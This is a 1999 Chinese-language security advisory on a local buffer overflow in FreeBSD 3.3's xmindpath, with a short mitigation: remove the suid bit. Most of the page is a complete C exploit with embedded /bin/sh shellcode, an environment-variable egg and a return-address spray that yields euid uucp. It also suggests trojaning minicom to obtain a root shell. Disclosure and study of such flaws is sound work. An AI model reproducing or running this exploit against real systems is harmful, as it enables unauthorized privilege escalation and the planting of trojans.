FreeBSD xmindpath 缓存溢出漏洞
发布日期:1999-12-01
更新日期:1999-12-01
受影响系统:FreeBSD FreeBSD 3.3
描述:
随FreeBSD 3.3发行的xmindpath存在本地缓存溢出问题。其可能造成的影响是可以获得有效的uucp userid。然后可以修改uucp具有写权限的二进制文件使之成为木马。例如:修改 minicom ,当root执行后,得到一个suid shell。
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
*
* FreeBSD 3.3 xmindpath exploit gives euid uucp
* Compile: gcc -o xmindx xmindx.c
* Usage: ./xmindx
/path/to/mindpath -f $RET
* Brock Tellier
*
*/
#include
#include
char shell[]= /* mudge@l0pht.com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
#define EGGLEN 2048
#define RETLEN 279
#define ALIGN 3
#define NOP 0x90
int main(int argc, char *argv[]) {
long int offset=0;
int i;
int egglen = EGGLEN;
int retlen = RETLEN;
long int addr = 0xbfbfcfa8;
char egg[EGGLEN];
char ret[RETLEN];
if (argc == 2) offset = atoi(argv[1]);
addr=addr + offset;
fprintf(stderr, "FreeBSD xmindpath exploit /path/to/xmindpath -f $RET\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n");
fprintf(stderr, "Using addr: 0x%x\n", addr);
memset(egg,NOP,egglen);
memcpy(egg+(egglen - strlen(shell) - 1),shell,strlen(shell));
for(i=ALIGN;i< retlen;i+=4)
*(int *)&ret[i]=addr;
memcpy(egg, "EGG=", 4);
putenv(egg);
memcpy(ret,"RET=",4);
putenv(ret);
system("/usr/local/bin/bash");
}
建议:
临时解决办法是去掉xmindpath的suid位。
浏览次数:8779
严重程度:0(网友投票)